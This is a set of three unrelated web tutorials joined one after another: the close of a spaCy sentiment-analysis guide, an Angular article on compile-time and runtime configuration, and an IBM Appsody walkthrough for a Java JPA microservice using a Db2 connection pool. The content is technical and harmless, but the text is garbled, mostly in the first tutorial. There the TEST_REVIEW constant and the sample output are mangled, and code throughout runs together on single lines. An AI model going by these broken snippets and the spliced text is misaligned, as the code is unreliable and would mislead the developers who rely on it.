The first step with this new function will be to load the previously saved model. While you could use the model in memory, loading the saved model artifact allows you to optionally skip training altogether, which you’ll see later. Here’s the
test_model() signature along with the code to load your saved model:
def test_model(input_data: str=TEST_REVIEW): # Load saved trained model loaded_model = spacy.load("model_artifacts")
In this code, you define
test_model(), which includes the
input_data parameter. You then load your previously saved model.
The IMDB data you’re working with includes an
unsup directory within the training data directory that contains unlabeled reviews you can use to test your model. Here’s one such review. You should save it (or a different one of your choosing) in a
TEST_REVIEW constant at the top of your file:
import os import random import spacy from spacy.util import minibatch, compounding TEST.) """
Next, you’ll pass this review into your model to generate a prediction, prepare it for display, and then display it to the user:
def test_model(input_data: str = TEST_REVIEW): # Load saved trained model loaded_model = spacy.load("model_artifacts") # Generate prediction parsed_text = loaded_model(input_data) # Determine prediction to return if parsed_text.cats["pos"] > parsed_text.cats["neg"]: prediction = "Positive" score = parsed_text.cats["pos"] else: prediction = "Negative" score = parsed_text.cats["neg"] print( f"Review text: {input_data}\nPredicted sentiment: {prediction}" f"\tScore: {score}" )
In this code, you pass your
input_data into your
loaded_model, which generates a prediction in the
cats attribute of the
parsed_text variable. You then check the scores of each sentiment and save the highest one in the
prediction variable.
You then save that sentiment’s score to the
score variable. This will make it easier to create human-readable output, which is the last line of this function.
You’ve now written the
load_data(),
train_model(),
evaluate_model(), and
test_model() functions. That means it’s time to put them all together and train your first model.
Connecting the Pipeline
So far, you’ve built a number of independent functions that, taken together, will load data and train, evaluate, save, and test a sentiment analysis classifier in Python.
There’s one last step to make these functions usable, and that is to call them when the script is run. You’ll use the
if __name__ == "__main__": idiom to accomplish this:
if __name__ == "__main__": train, test = load_training_data(limit=2500) train_model(train, test) print("Testing model") test_model()
Here you load your training data with the function you wrote in the Loading and Preprocessing Data section and limit the number of reviews used to
2500 total. You then train the model using the
train_model() function you wrote in Training Your Classifier and, once that’s done, you call
test_model() to test the performance of your model.
Note: With this number of training examples, training can take ten minutes or longer, depending on your system. You can reduce the training set size for a shorter training time, but you’ll risk having a less accurate model.
What did your model predict? Do you agree with the result? What happens if you increase or decrease the
limit parameter when loading the data? Your scores and even your predictions may vary, but here’s what you should expect your output to look like:
$ python pipeline.py Training model Beginning training Loss Precision Recall F-score Testing model Review.) Predicted sentiment: Positive Score: 0.8773064017295837
As your model trains, you’ll see the measures of loss, precision, and recall and the F-score for each training iteration. You should see the loss generally decrease. The precision, recall, and F-score will all bounce around, but ideally they’ll increase. Then you’ll see the test review, sentiment prediction, and the score of that prediction—the higher the better.
You’ve now trained your first sentiment analysis machine learning model using natural language processing techniques and neural networks with spaCy! Here are two charts showing the model’s performance across twenty training iterations.. The precision, recall, and F-score are pretty stable after the first few training iterations. What could you tinker with to improve these values?
Conclusion
Congratulations on building your first sentiment analysis model in Python! What did you think of this project? Not only did you build a useful tool for data analysis, but you also picked up on a lot of the fundamental concepts of natural language processing and machine learning.
In this tutorial, you learned how to:
- Use natural language processing techniques
- Use a machine learning classifier to determine the sentiment of processed text data
- Build your own NLP pipeline with spaCy
You now have the basic toolkit to build more models to answer any research questions you might have. If you’d like to review what you’ve learned, then you can download and experiment with the code used in this tutorial at the link below:
Get the Source Code: Click here to get the source code you’ll use to learn about sentiment analysis with natural language processing in this tutorial.
What else could you do with this project? See below for some suggestions.
Next Steps With Sentiment Analysis and Python
This is a core project that, depending on your interests, you can build a lot of functionality around. Here are a few ideas to get you started on extending this project:
The data-loading process loads every review into memory during
load_data(). Can you make it more memory efficient by using generator functions instead?
Rewrite your code to remove stop words during preprocessing or data loading. How does the mode performance change? Can you incorporate this preprocessing into a pipeline component instead?
Use a tool like Click to generate an interactive command-line interface.
Deploy your model to a cloud platform like AWS and wire an API to it. This can form the basis of a web-based tool.
Explore the configuration parameters for the
textcatpipeline component and experiment with different configurations.
Explore different ways to pass in new reviews to generate predictions.
Parametrize options such as where to save and load trained models, whether to skip training or train a new model, and so on.
This project uses the Large Movie Review Dataset, which is maintained by Andrew Maas. Thanks to Andrew for making this curated dataset widely available for use. | https://realpython.com/sentiment-analysis-python/ | CC-MAIN-2020-50 | en | refinedweb |
When you develop a bigger application, chances are quite high that you need some kind of configuration. That can range from simply visualizing the app's version number to injecting custom themes etc. In Angular you have different kind of approaches: compile-time and runtime configurations. Let's take a look at both of them.
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TL;DR
Compile-time configuration
When using the compile-time approach we're basically adding the configuration flags into the
environment.ts and
environment.prod.ts files that come generated with any Angular CLI setup. You can find them in the
environments folder.
Based on the build command we're invoking, Angular replaces the configuration files, basically for the production environment it will overwrite the
environment.ts file with the
environment.prod.ts file. As such in our code we can simply import the file like...
import { environment } from '../environment/environment'; // do something meaningful with `environment` console.log(environment);
..and do something meaningful with our configuration. We can also configure additional environments (besides dev and production). Just make sure to adjust the
angular.json file properly to take care of these new environments.
Runtime configuration
Compile-time also means you need to recompile your app for each environment. This isn't always desirable, like when moving from dev to staging to production. You don't want to recompile each time (which might introduce new errors potentially). For implementing runtime configuration we can make use of the
APP_INITIALIZER. It's a function we can configure on the
AppModule and which allows us to return a Promise. The module will only bootstrap after the Promise resolves.
const appInitializerFn = () => { return () => { return new Promise((resolve, reject) => { ... }); }; }; @NgModule({ imports: [ BrowserModule, FormsModule, SomeModule ], declarations: [ AppComponent, HelloComponent ], bootstrap: [ AppComponent ], providers: [ { provide: APP_INITIALIZER, useFactory: appInitializerFn, multi: true } ] }) export class AppModule {...}
To read more about how the
APP_INITIALIZER works, check out the full blog post using the link below 😃.
Discussion | https://practicaldev-herokuapp-com.global.ssl.fastly.net/angular/compile-time-vs-runtime-configuration-of-your-angular-app-35ml | CC-MAIN-2020-50 | en | refinedweb |
Y:
$ sudo yum install yara -y
Ubuntu, Debian:
$ apt install yara
Yara help information can be listed simply like below.
$ yara -h
We can see also the usage of yara command like below. Yara supports target as binary file, directory or process id as we see below.
yara [OPTION]... RULES_FILE FILE | DIR | PID
rule dummy { condition: true }
Download Binary Sample
We will download our binary samples from web. Our sample binary is popular ssh client named
Putty . Download following link to get.
We use
wget for Linux for download operation.
$ wget
Run Yara
Now we can run our first rule with yara.
$ yara myrule putty.exe
The result is not se exiting but it works. This rule file simply print text
dummy and the file name in this example
putty.exe
Rule
Yara rule syntax is similar to C programming language. Here is a simple rule named
myrule .
rule myrule { strings: $my_text_string = "text here" $my_hex_string = { E2 34 A1 C8 23 FB } condition: $my_text_string or $my_hex_string }.
//Single line commen /* Multi line .
rule name_putty { strings: $pname="putty" condition: $pname }
If we run the rule like below the rule matches the condition and prints the rule name with the binary name.
$ yara myrule putty.exe.
rule name_putty { strings: $pname=/p[0-9a-zA-Z]tty/ condition: $pname }.
rule name_putty { strings: $pname=/p[0-9a-zA-Z]tty/ condition: $pname and filesize > 500KB }>)
For example in this example we will check whether given file is a
Portable Executable (PE) file.
rule ThisIsPE { condition: // MZ signature at offset 0 and ... uint16(0) == 0x5A4D and // ... PE signature at offset stored in MZ header at 0x3C uint32(uint32(0x3C)) == 0x00004550 }.
global rule SizeLimit { condition: filesize < 2MB }
Private Rules
Yara provides inheritance like feature to create basic rules and create super rules which inherits these basic rules conditions. In this situations we can use
private keyword before rule definition. We will use private rules for building blocks of other rules.
private rule PrivateRuleExample { ... }
Rules Tags
Tags are used while printing the matched rules in order to filter. They have no effect on matching. There is no restriction about tag count. In this rules
Foo ,
Bar and
Baz are tags of the rules.
rule TagsExample1 : Foo Bar Baz { ... } rule TagsExample2 : Bar { ... }
Metadata
We may need to specify additional information about the rule. We can use
metadata for this work. We will create a new section with
meta: keyword like below.
rule MetadataExample { meta: my_identifier_1 = "Some string data" my_identifier_2 = 24 my_identifier_3 = true strings: $my_text_string = "text here" $my_hex_string = { E2 34 A1 C8 23 FB } condition: $my_text_string or $my_hex_string }
Modules
Modules are extensions for YARA. We can use some modules like
PE or
Cuckoo those comes with YARA. We can also write our own modules too. Modules can be imported with
import statement.
In this example we will import and use
PE module.
import "pe" rule Test { strings: $a = "some string" condition: $a and pe.entry_point == 0x1000 }
Including Other Files
We can include other rule files with
include keyword. We will simply include other yara rule files in the following example. We can use relative or absolute path without a problem.
include "/home/poftut/basics.yara" | https://www.poftut.com/yara-identify-classify-malware-samples/ | CC-MAIN-2020-50 | en | refinedweb |
star me if you like it, thx.
motivation
upgrade react useState hook, let the state been initialized only one time, hope you guys like it.
traditional
useState
import React, { useState } from "react"; function Demo() { // if user pass a heavy state to useState // this state will been initialized in every render period const [heavyState] = useState(Array(1000000)); return <h3>{heavyState.length}</h3>; }
with
useStateOnce
useStateOnce accept normal state or function state
if user pass function state to
useStateOnce, it will only been called one time
so user can completely replace
React.useState with
useStateOnce
import React from "react"; import useStateOnce from "use-state-once"; const state = () => { console.log("this function will only been called one time"); return Array(1000000); }; function Demo() { // useStateOnce accept normal state or function state; // if user pass function state to useStateOnce, it will only been called one time const [heavyState, setHeavyState] = useStateOnce(state); return <h3>{heavyState.length}</h3>; }
Concent also provide this ability
Concent's api
useConcent also have the same effect with
useStateOnce when user pass a private state to it;
you can also open the SandBox, and copy the other file's content to file
App.jsto see the more concent funny features.
Discussion
Pretty cool hook 👍️, thanks 幻魂.
Thank you for your reply so much, actually I've written a concent version todo-list with hook
useConcent
concent todo mvc vs redux&hook todo mvc
you may get some ideas from these two examples. | https://dev.to/fantasticsoul/try-usestateonce-if-you-are-about-to-init-a-heavy-state-3p2m | CC-MAIN-2020-50 | en | refinedweb |
In this tutorial, you will create a microservice using a JPA persistence context backed by a database connection pool. This allows the microservice endpoints to serve requests from the database with minimum latency and avoid unnecessary resource strain on the remote database service.
This tutorial is meant for developers who are familiar with the open source Appsody project and experienced with the usage of Java™ Database Connectivity (JDBC) and the Java Persistence API (JPA) programming model.
The Appsody project is a core part of the development experience in the IBM Cloud Pak for Applications and is used in this tutorial as the basis for a common Java EE programming pattern, while adding the modern touch of a cloud-native microservice that can be easily transformed into a Kubernetes deployment.
This GitHub repository contains a copy of the final application after completion of all steps, which you can use as a reference throughout the tutorial.
Prerequisites
This tutorial assumes that you have a robust understanding of Java programming.
Complete the following steps to build and test applications on your local workstation:
Install Docker. If using Windows or macOS, Docker Desktop is probably the best choice. If using a Linux system, minikube and its internal Docker registry is an alternative.
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Install the IBM Cloud CLI.
Create an IBM Cloud API Key. The interface will look like this:
.
Once you click the Create button, you will see the dialog with the resulting key. Copy the API key value from your dialog and paste it somewhere safe. It will be used later to login via command-line interface and referenced as ${IBMCLOUD_API_KEY} throughout the instructions in this tutorial.
A running Kubernetes cluster.
This tutorial uses a cluster in the IBM Cloud, which.
Estimated time
With the prerequisites in place, you should be able to complete this tutorial in one hour.
Steps
Following along to this tutorial, you will perform the following steps:
- Create the starter application
- Modify the application
- Modify the server runtime configuration
- Create the Db2 Service
- Configure cluster to access the database service
- Deploy the application to the cluster
- (Optional) Run the application locally
At the end of the tutorial, you will have progressed from creating and containerizing an application to creating a Db2 service and deploying the resulting application to a Kubernetes cluster:
Step 1. Create the starter application
Your first step is to create a new application based on the default application template of the Java Open Liberty application stack.
Register the stack repository in
appsodywith the following command:
appsody repo add kabanero
With the
kabanerorepository registered and assuming your local Docker instance is already up and running, create the directory for the new application and initialize the directory with the application template:
mkdir jee-sample cd jee-sample appsody init kabanero/java-openliberty
Once the initialization step completes, your
jee-sample folder should contain files matching a structure similar to the one below:
jee-sample/ ├── .appsody-config.yaml ├── .gitignore ├── .mvn ├── mvnw ├── mvnw.cmd ├── pom.xml └── src ├── main │ ├── java │ │ └── dev │ │ └── appsody │ │ └── starter └── server
Note that the application template may evolve, so some of the files and directories may not match exactly the ones you see in the image above.
Step 2. Modify the application
The next subsections cover changes you make to the Java source code and Maven
pom.xml build file.
Add a JPA persistence unit
The application in this tutorial accesses the database through the JPA programming model, which means the application must have a persistence unit instructing the runtime about the location and structure of the database.
You will create the new JPA persistence unit in the location specified for applications packaged as a WAR file.
Create the directory
src/main/resources/META-INF and then create the JPA
persistence.xml file in that directory with the following contents:
<?xml version="1.0" encoding="UTF-8"?> <persistence version="2.2" xmlns="" xmlns: <persistence-unit <jta-data-source>jdbc/sample</jta-data-source> </persistence-unit> </persistence>
Notice the
jdbc/sample JNDI name in the
jta-data-source field, which is where the JPA persistence context expects to find the JDBC data source. You will define this data source in the server runtime configuration later in the tutorial, once you are done with the application changes.
Create a generic JPA access object
With the JPA persistence unit
jee-sample defined, you will create a Java data access object matching that persistence unit. The data access object is responsible for isolating the rest of the application from interactions with the persistence layer.
First, create a new
src/main/java/dev/appsody/jpa/dao directory for the
dev.appsody.jpa.dao Java package. Then, create a new Java class
GenericDao.java with the following content:
package dev.appsody.jpa.dao; import java.util.List; import javax.enterprise.context.Dependent; import javax.persistence.EntityManager; import javax.persistence.PersistenceContext; @Dependent public class GenericDao<T> { @PersistenceContext(name = "jee-sample") private EntityManager em; public void create(T resource) { em.persist(resource); } public T find(Class<T> clazz, String resourceId) { return em.find(clazz, resourceId); } public void updateDepartment(T resource) { em.merge(resource); } public void deleteDepartment(T resource) { em.remove(resource); } /** * * Assumes all JPA entities in this application have a * "findAll" named query. */ public List<T> readAll(Class<T> clazz) { return em.createNamedQuery(clazz.getSimpleName() + ".findAll", clazz).getResultList(); } }
Notice how the
name field in the
@PersistenceContext annotation matches the name in the
persistence-unit field of the
src/main/resources/META-INF/persistence.xml file created in the previous step of this tutorial.
Create a model instance for the database table
With the data access class in place, you will create a JPA entity to represent a table named
Department in the database.
Create a new
src/main/java/dev/appsody/jpa/model directory for the
dev.appsody.jpa.model Java package. Then create a new Java class
Department.java with the following content:
package dev.appsody.jpa.model; import java.io.Serializable; import javax.persistence.Entity; import javax.persistence.Id; import javax.persistence.NamedQuery; /** * The persistent class for the DEPARTMENT database table. */ @Entity @NamedQuery(name="Department.findAll", query="SELECT d FROM Department d") public class Department implements Serializable { private static final long serialVersionUID = 1L; private String deptno; private String deptname; private String location; public Department() { } public Department(String deptno, String deptname, String location) { super(); this.deptno = deptno; this.deptname = deptname; this.location = location; } @Id public String getDeptno() { return this.deptno; } public void setDeptno(String deptno) { this.deptno = deptno; } public String getDeptname() { return this.deptname; } public void setDeptname(String deptname) { this.deptname = deptname; } public String getLocation() { return this.location; } public void setLocation(String location) { this.location = location; } }
Note that, later in this tutorial, you will create the database table
Department to back this JPA entity.
Create REST endpoints
At this point, you have the Java classes that can enable the application to retrieve rows from the
Department table using JPA. So, the final class to complete the application contains REST endpoints to allow other applications to work with the persistence layer.
Create a new directory
src/main/java/dev/appsody/jpa/resources package named
dev.appsody.jpa.resources, containing a file named
DepartmentResource.java with the contents below:
package dev.appsody.jpa.resources; import javax.enterprise.context.RequestScoped; import javax.inject.Inject; import javax.json.Json; import javax.json.JsonArray; import javax.json.JsonArrayBuilder; import javax.json.JsonObject; import javax.json.JsonObjectBuilder; import javax.transaction.Transactional; import javax.ws.rs.Consumes; import javax.ws.rs.DELETE; import javax.ws.rs.FormParam;; import javax.ws.rs.core.Response; import dev.appsody.jpa.dao.GenericDao; import dev.appsody.jpa.model.Department; @RequestScoped @Path("departments") public class DepartmentResource { @Inject private GenericDao<Department> dao; /** * Creates a new dept from the submitted data (name, time and * location) by the user. */ @POST @Consumes(MediaType.APPLICATION_FORM_URLENCODED) @Transactional public Response addNewDepartment(@FormParam("name") String name, @FormParam("deptno") String deptno, @FormParam("location") String location) { Department newDepartment = new Department(name, deptno, location); if (dao.find(Department.class, deptno) != null) { return Response.status(Response.Status.BAD_REQUEST).entity("Department already exists").build(); } dao.create(newDepartment); return Response.status(Response.Status.NO_CONTENT).build(); } /** * Updates a dept with the submitted data (name, deptno and * location) by the user. */ @PUT @Path("{deptno}") @Consumes(MediaType.APPLICATION_FORM_URLENCODED) @Transactional public Response updateDepartment(@FormParam("name") String name, @PathParam("deptno") String deptno, @FormParam("location") String location) { Department prevDepartment = dao.find(Department.class, deptno); if (prevDepartment == null) { return Response.status(Response.Status.NOT_FOUND).entity("Department does not exist").build(); } prevDepartment.setDeptname(name); prevDepartment.setLocation(location); dao.updateDepartment(prevDepartment); return Response.status(Response.Status.NO_CONTENT).build(); } /** * Deletes a specific existing/stored dept */ @DELETE @Path("{deptno}") @Transactional public Response deleteDepartment(@PathParam("deptno") String deptNo) { Department dept = dao.find(Department.class, deptNo); if (dept == null) { return Response.status(Response.Status.NOT_FOUND).entity("Department does not exist").build(); } dao.deleteDepartment(dept); return Response.status(Response.Status.NO_CONTENT).build(); } /** * Returns a specific existing/stored dept */ @GET @Path("{deptno}") @Produces(MediaType.APPLICATION_JSON) @Transactional public JsonObject getDepartment(@PathParam("deptno") String deptNo) { JsonObjectBuilder builder = Json.createObjectBuilder(); Department dept = dao.find(Department.class, deptNo); if (dept != null) { builderAddDepartment(builder, dept); } return builder.build(); } /** * Returns all existing/stored depts */ @GET @Produces(MediaType.APPLICATION_JSON) @Transactional public JsonArray getDepartments() { JsonObjectBuilder builder = Json.createObjectBuilder(); JsonArrayBuilder finalArray = Json.createArrayBuilder(); for (Department dept : dao.readAll(Department.class)) { builderAddDepartment(builder, dept); finalArray.add(builder.build()); } return finalArray.build(); } /** * Creates the JSON object for a department. */ private void builderAddDepartment(JsonObjectBuilder builder, Department dept) { builderAddIfNotNull(builder, dept.getDeptno(), "deptNo"); builderAddIfNotNull(builder, dept.getDeptname(), "name"); builderAddIfNotNull(builder, dept.getLocation(), "location"); } /** * Creates a fragment of the JSON object. */ private void builderAddIfNotNull(JsonObjectBuilder builder, String v, String n) { if (v != null) { builder.add(n, v); } } }
Notice that this class implements the REST endpoint
/depts to retrieve data from the JPA
Department entity.
Access the connection pool via JNDI lookup
This Java class is not related to JPA data access, but it is a useful example to show how the microservice can access the database connections directly through a Java Naming and Directory Interface (JNDI) lookup.
Later in the tutorial, you bind the connection pool to a JNDI name in the server runtime, so the Java code can look up the Java Database Connectivity (JDBC) data source using that name.
Create a new Java class named
DatabaseResource.java in the existing
src/main/java/dev/appsody/starter directory. This class implements the REST endpoint
/database accessing the JDBC data source through the
jdbc/sample JNDI name.
The REST endpoint returns basic metadata extracted from a JDBC connection pulled out of the connection pool, which is the most basic validation that JDBC connections can be accessed in that way.
package dev.appsody.starter; import java.sql.Connection; import java.sql.DatabaseMetaData; import java.sql.SQLException; import java.text.MessageFormat; import javax.json.Json; import javax.json.JsonObject; import javax.json.JsonObjectBuilder; import javax.naming.InitialContext; import javax.naming.NamingException; import javax.sql.DataSource; import javax.ws.rs.GET; import javax.ws.rs.Path; import javax.ws.rs.Produces; import javax.ws.rs.core.MediaType; @Path("/database") public class DatabaseResource { private static final String JDBC_JNDI_CONTEXT = "jdbc/sample"; /** * REST endpoint for internal database metadata for the application connection. */ @GET @Produces(MediaType.APPLICATION_JSON) public JsonObject databaseMetadata() { try { DataSource ds = InitialContext.doLookup(JDBC_JNDI_CONTEXT); JsonObjectBuilder response = buildConnectionMetadataResponse(ds); return response.build(); } catch (NamingException e) { String errMsg = MessageFormat.format("Unable to locate connection pool in [{0}] due to {1}", JDBC_JNDI_CONTEXT, e.getMessage()); throw new RuntimeException(errMsg, e); } } /** * Builds a JSON array with the database metadata. */ private JsonObjectBuilder buildConnectionMetadataResponse(DataSource ds) { JsonObjectBuilder builder = Json.createObjectBuilder(); try (Connection dbConn = ds.getConnection()) { dbConn.getClientInfo().entrySet().stream() .sorted((e1, e2) -> ((String) e1.getKey()).compareTo((String) e2.getValue())) .forEach(entry -> builder.add("client.info." + (String) entry.getKey(), (String) entry.getValue())); DatabaseMetaData metaData = dbConn.getMetaData(); builder.add("db.product.name", metaData.getDatabaseProductName()); builder.add("db.product.version", metaData.getDatabaseProductVersion()); builder.add("db.major.version", metaData.getDatabaseMajorVersion()); builder.add("db.minor.version", metaData.getDatabaseMinorVersion()); builder.add("db.driver.version", metaData.getDriverVersion()); builder.add("db.jdbc.major.version", metaData.getJDBCMajorVersion()); builder.add("db.jdbc.minor.version", metaData.getJDBCMinorVersion()); } catch (SQLException e) { String errMsg = MessageFormat .format("Unable to obtain connection metadata from connection pool retrived from " + "context [{0}] due to {1}", JDBC_JNDI_CONTEXT, e.getMessage()); throw new RuntimeException(errMsg, e); } return builder; } }
Add JDBC driver files to the application
At this point, you have all Java classes required to return JSON objects representing rows of a
Department table in a remote database. Now it’s time to make a final modification to the application: the inclusion of JDBC drivers into the final application package.
The DB2 JDBC driver files are available from Maven Central, so you will modify the application’s
pom.xml build file to include those files in the final application.
The download of dependencies is achieved with a
dependency element inside the
dependencies element of the
pom.xml file located in the root directory of the application, so you need to place the following XML snippet inside the
dependencies element:
<dependency> <groupId>com.ibm.db2</groupId> <artifactId>jcc</artifactId> <version>[11.1, 11.2)</version> </dependency>
Notice the usage of a range in the
version field of the dependency, so that the build process automatically picks new patches of the driver for the 11.1 release while avoiding the inclusion of a new major version of the driver.
Checkpoint for application changes
You now have the application ready to use a JPA persistence unit named
jee-sample, as well as a REST resource that can look up the JDBC data source using the JNDI name
jdbc/sample.
The figure below indicates all new and modified files covered so far:
├── .appsody-config.yaml ├── mvnw ├── mvnw.cmd ├── pom.xml <<< Modified in this tutorial └── src ├── main │ ├── java │ │ └── dev │ │ └── appsody │ │ ├── jpa <<< Created in this tutorial │ │ │ ├── dao │ │ │ │ └── GenericDao.java │ │ │ ├── model │ │ │ │ └── Department.java │ │ │ └── resources │ │ │ └── DepartmentResource.java │ │ └── starter │ │ ├── DatabaseResource.java <<< Created in this tutorial │ └── defaults │ │ │ └── quick-start-security.xml │ │ └── server.xml │ ├── resources <<< Created in this tutorial │ │ └── META-INF │ │ └── persistence
Step 3. Modify the server runtime configuration
With all application changes completed, it is time to modify the server runtime configuration to define the JPA persistence unit and attach it to a data source bound to that JNDI name.
Add a JPA feature
The template application does not include JPA support in the server runtime, which needs to be added for this application.
Add the JPA feature with the following XML snippet pasted into the
featureManager element of the server runtime configuration, which is located in the
src/main/liberty/config/server.xml file:
<feature>jpa-2.2</feature>
Bind your JDBC data source to the JDNI
You need to bind your JDBC data source to the
jdbc/sample JNDI name referenced earlier in the JPA persistence unit. You can then change the build
pom.xml file to reference the DB2 JDBC drivers added to the application.
Add the following XML snippet to the
server element in the
server.xml runtime configuration file:
<dataSource id="DefaultDataSource" jndiName="jdbc/sample" jdbcDriverRef="db2-driver" type="javax.sql.ConnectionPoolDataSource" transactional="true"> </dataSource>
Notice how the
jndiName field matches the
jta-data-source field in the JPA persistence unit configuration file (
src/main/resources/META-INF/persistence.xml) and how the
jdbcDriverRef named “db2-driver” still needs to be defined.
Map your JDBC driver and library to JAR files
The JDBC driver references a driver named
db2-driver, which you need to map to the JAR files contained in the DB2 driver files. These DB2 driver files are included in the application via the
dependency block in the
pom.xml build file.
Create the jdbcDriver and associated
library definitions by adding the following snippet to the
server.xml file:
<jdbcDriver id="db2-driver" javax.sql. <library id="db2-library"> <fileset id="db2Fileset" dir="${server.config.dir}/resources" includes="jcc*.jar"/> </library>
Notice that the file pattern in the
includes field matches the files contained in the DB2 JDBC driver version referenced earlier in the build
pom.xml file.
Connect to a database
You may have noticed that, so far, nothing in
server.xml points to the database created earlier in the tutorial. These properties are added as a new
properties.db2.jcc block inside the
dataSource element in the
server.xml configuration file.
The tutorial will show the full contents of the
server.xml file at the end of this step, but for now, here’s how the
properties.db2.jcc XML snippet should be placed inside the server configuration file:
"/> </dataSource>
Notice the presence of configuration variables inside the new block, such as
${db_server} and
${db_user}. These variables are used here to avoid hard-coding the actual database parameters in the application code repository, which could lead to problems such as exposure of credentials in a code repository and brittle mapping of the application to a specific DB2 service instance.
These variables can be supplied to the application server in many different ways. You will provide their values later in the tutorial, when it covers deploying your application.
Configure a connection pool
As long as you are doing all the work to ensure the resulting microservice can leverage the performance advantages of using a JEE data source connection pool, you may also want to add connection pool settings from where the application developer can explore different settings to suit different loads.
These settings are documented in detail in the connectionManager section of the Open Liberty documentation.
Here is a working snippet that shows a sample of the
connectionManager block placed within the
server.xml file:
<dataSource id="DefaultDataSource" jndiName="jdbc/sample" jdbcDriverRef="db2-driver" type="javax.sql.ConnectionPoolDataSource" transactional="true"> ... <connectionManager connectionTimeout="180" maxPoolSize="10" minPoolSize="1" reapTime="180" maxIdleTime="1800" agedTimeout="7200" purgePolicy="EntirePool" /> </dataSource>
As a last remark on the definition of the JDBC data source, the DB2 JDBC driver itself offers quite a bit of configuration settings, which are documented in detail in the JDBC properties page of the DB2 Knowledge Center.
This brings you to the final form of the
dataSource block inside
server.xml:
" currentLockTimeout="10" cursorSensitivity="0" deferPrepares="true" driverType="4" loginTimeout="0" resultSetHoldability="1" retrieveMessagesFromServerOnGetMessage="true" traceLevel="-1"/> <connectionManager connectionTimeout="180" maxPoolSize="10" minPoolSize="1" reapTime="180" maxIdleTime="1800" agedTimeout="7200" purgePolicy="EntirePool" /> </dataSource>
This is also a good point to look at the entire
server.xml file accompanying this tutorial, to ensure your version matches the expected final contents.
Adding JDBC driver files to the application package
In the previous sections, we outlined the definition of a
library element in the
server.xml configuration file, which instructs the server runtime to look for the JDBC driver files under the directory
${server.config.dir}/resources.
Until Appsody Stack issue #539 is addressed, we need to resort to the Maven Resources Plugin to copy the JDBC driver files to a location where they will be found by Appsody when running the application locally and when building the final container for deployment.
Insert the XML snippet below inside the
plugins element in the build
pom.xml file:
<plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-dependency-plugin</artifactId> <version>3.1.1</version> <executions> <execution> <id>copy-resource-adapter-artifacts</id> <phase>package</phase> <goals> <goal>copy-dependencies</goal> </goals> <configuration> <outputDirectory>${wlp.install.dir}/usr/servers/defaultServer/resources</outputDirectory> <overWriteReleases>false</overWriteReleases> <overWriteSnapshots>true</overWriteSnapshots> <excludeTransitive>true</excludeTransitive> <includeTypes>jar</includeTypes> <includeGroupIds>com.ibm.db2</includeGroupIds> </configuration> </execution> </executions> </plugin>
Trust remote database service certificate
Secure application design dictates that the application connecting to a remote database instance uses encrypted network traffic to communicate with the database instance. In this tutorial, this means using the secure JDBC port in the DB2 service instance and also accepting the identity of the service instance.
The standard Open Liberty application stack currently does not trust any remote certificate. This restriction will change soon, when the underlying Open Liberty runtime adds this feature and that change is propagated to the application stack.
In the meantime, you need to instruct Open Liberty to use a trust store for outbound connections. That trust store must contain either the certificate for the signing authority for the service certificate or the service certificate itself.
The trust store is then referenced in the server configuration file as an SSL Repertoire element for outbound connections.
Reference an existing CA database
A Db2 On Cloud service instance, like the one used in this tutorial, is signed by a public certification authority that is already contained in the CA database shipped with the Java runtime used by the server.
The Open Liberty configuration docs explain in detail how to associate that CA database as the trust store for outbound secure communications, which involves changes to the server configuration.
Make those modifications to the
server.xml configuration file by adding the
keystore,
ssl, and
sslDefault elements in the XML snippet below to the
server.xml configuration file:
<server description="Liberty server"> ... <keyStore id="defaultTrustStore" password="changeit" readOnly="false" type="JKS" location="${JAVA_HOME}/jre/lib/security/cacerts"> </keyStore> <ssl id="defaultSSLSettings" keyStoreRef="defaultKeyStore" trustStoreRef="defaultTrustStore"></ssl> <sslDefault sslRef="defaultSSLSettings" outboundSSLRef="defaultSSLSettings"></sslDefault> ... </server>
As an optional exercise to the reader, check the “Hostname verification on SSL configuration” section of this blog entry and make that modification to the
sslDefault element in the above example.
Checkpoint for server runtime changes
All server configuration changes are ready to supply a functional JPA persistence unit to the application.
The figure below indicates all files modified in this sub-section of the tutorial:
├── .appsody-config.yaml ├── mvnw ├── mvnw.cmd ├── pom.xml <<< Modified in this sub-section └── src ├── main │ ├── java │ ├── liberty │ │ └── config │ │ ├── configDropins │ │ └── server.xml <<< Modified in this sub-section │ ├── resources │ └── webapp └── test
As an additional validation, especially due to the iterative changes made to
server.xml, you may want to look at the resulting configuration file.
Step 4. Create the DB2 Service
DB2 On Cloud resides in the IBM Cloud, so you need to create an IBM Cloud account if you don’t already have one. This tutorial uses a free instance of the free-tier plan, so there should be no cost to create a service instance.
You could execute all the operations in this tutorial through the user interface for DB2 on Cloud, but for brevity and precision, you will use command-line instructions for most steps.
First, initialize the command-line interface (CLI) to communicate with the cluster in the IBM Cloud. This step assumes that you have already created an IBM Cloud API Key and exported its value to an environment variable named
IBMCLOUD_API_KEY:
cluster_name=<put your cluster name here> ibmcloud login --apikey ${IBMCLOUD_API_KEY} ibmcloud ks cluster config --cluster ${cluster_name}
Create a DB2 database
Create a DB2 service instance named
sample-jee-db, which will be referenced throughout the rest of this tutorial. Replace
us-south in the instruction below with the closest region to your cluster. Here are the regions supported by the service:
cloud_region=<put your region name here> ibmcloud resource service-instance-create sample-jee-db dashdb-for-transactions free ${cloud_region} -g default
The command produces output similar to this:
Creating service instance sample-jee-db in resource group default of account Username's Account as user@email... OK Service instance sample-jee-db was created. Name: sample-jee-db ID: crn:v1:... GUID: ... Location: ... State: active Type: service_instance ...
Any DB2 client, such as the application you are building, needs credentials to access the service instance. These credentials contain all attributes required to contact the service, such as hostname, port numbers, user, and password.
Type the following command to create a key named
sample-db-key for the service:
ibmcloud resource service-key-create sample-db-key Administrator --instance-name sample-jee-db
This command displays the status of the operation as well as the contents of the new key:
Creating service key of service instance sample-jee-db under account User Name's Account as user@email... OK Service key ... was created. Name: sample-db-key State: active Credentials: db: BLUDB host: dashdb-txn-... password: ... port: 50000 username: ... ...
You can always reinspect the contents of the key with the following command:
ibmcloud resource service-key sample-db-key -g default --output json
Populate the database
With the database and credential created, we want to create a new
DEPARTMENT table with sample data rows in it.
We prepared a SQL file with the corresponding instructions, at
src/test/resources/create-table.sql, which you can use from any DB2 client connected to that database.
For convenience if you don’t already have a DB2 client, you can use the “RUN SQL” panel from the Db2 On Cloud user interface, following these steps:
- Locate and click on the
sample-jee-dbservice in the Resources window.
- Select the Manage tab, then “Open Console”
- From the Console page, select RUN SQL from the menu activated from the upper-left icon
- Click on Blank on the “Choose the way to create” tab and paste the content of src/test/resources/create-table.sql into the SQL editor
- Click Run all and wait for completion
